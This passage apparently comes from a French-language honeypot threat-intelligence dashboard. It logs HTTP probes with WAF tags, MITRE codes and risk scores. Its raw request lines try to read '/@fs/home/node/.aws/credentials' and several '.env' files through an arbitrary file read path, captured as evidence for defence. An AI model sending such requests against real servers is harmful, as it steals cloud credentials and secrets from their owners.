"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/home\/node\/.aws\/credentials",
"request_line": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/home\/node\/.aws\/credentials",
"evidence_snippet": "GET \/@fs\/home\/node\/.aws\/credentials?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8080 · (tentative d'exploit) · → /@fs/app/.env.local
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/app/.env.local UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/app/.env.local
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/app/.env.local
Pourquoi cette classification : Sonde fichier sensible: fichier configuration · Règle WAF « lfi-14 » · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 69
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
SIGMA-web-config-leak
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/app/.env.local?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /@fs/app/.env.local?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Ap
Requête brute (extrait)
GET /@fs/app/.env.local?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "local",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "761789d891c13393bd1de5015f9a4e1a52c214ef",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 222,
"payload_entropy": 5.380327813700796,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 69,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "598a8ce9e4c6d7b42caeca535e3467b6e5057bba",
"event_fingerprint": "1468f59912a7142d8949d748177522293977bada",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 215,
"precision_signals": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "a3ebf9869d6a7f88bb4d59fba0ec2aaa",
"path_pattern_hash": "211930074f9ad1e9da1c4d8f25f35958"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"payload_preview": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"method": "GET",
"path": "\/@fs\/app\/.env.local",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"evidence": {
"method": "GET",
"path": "\/@fs\/app\/.env.local",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "87d351fff399825e5db1afd24409a48d98abd7cd",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/app\/.env.local",
"request_line": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/app\/.env.local",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"SIGMA-web-config-leak",
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/app\/.env.local",
"request_line": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/app\/.env.local",
"evidence_snippet": "GET \/@fs\/app\/.env.local?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_dependency_confusion_probe",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8080 · (tentative d'exploit) · → /@fs/app/.env.production
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/app/.env.production UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/app/.env.production
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/app/.env.production
Pourquoi cette classification : Sonde fichier sensible: fichier configuration · Règle WAF « lfi-14 » · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 69
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
SIGMA-web-config-leak
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/app/.env.production?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /@fs/app/.env.production?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x6
Requête brute (extrait)
GET /@fs/app/.env.production?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "production",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "dfb23ea051cbc132cef4751bd42325a4500f2c3c",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 227,
"payload_entropy": 5.393358686745155,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 69,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "598a8ce9e4c6d7b42caeca535e3467b6e5057bba",
"event_fingerprint": "b2fe455d8d7be88966f884d5b845cb4cd9548ec3",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 215,
"precision_signals": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "765eb38f4fb8058247f9c0e5455f9b0d",
"path_pattern_hash": "d7b96a136737344ea6f3b9c66ef95915"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"payload_preview": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6",
"method": "GET",
"path": "\/@fs\/app\/.env.production",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6",
"evidence": {
"method": "GET",
"path": "\/@fs\/app\/.env.production",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "caf9c4474b0d5a738b780d33e86e4a52e9632301",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/app\/.env.production",
"request_line": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6",
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/app\/.env.production",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"SIGMA-web-config-leak",
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/app\/.env.production",
"request_line": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/app\/.env.production",
"evidence_snippet": "GET \/@fs\/app\/.env.production?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_dependency_confusion_probe",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8080 · (tentative d'exploit) · → /@fs/src/.env
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/src/.env UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/src/.env
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/src/.env
Pourquoi cette classification : Sonde fichier sensible: fichier configuration · Règle WAF « lfi-14 » · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 69
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
SIGMA-web-config-leak
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/src/.env?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /@fs/src/.env?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb
Requête brute (extrait)
GET /@fs/src/.env?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "env",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "80201fa777c0cf9f7183a866bc7bf85cb5bce754",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.391762458624575,
"port_category": "registered",
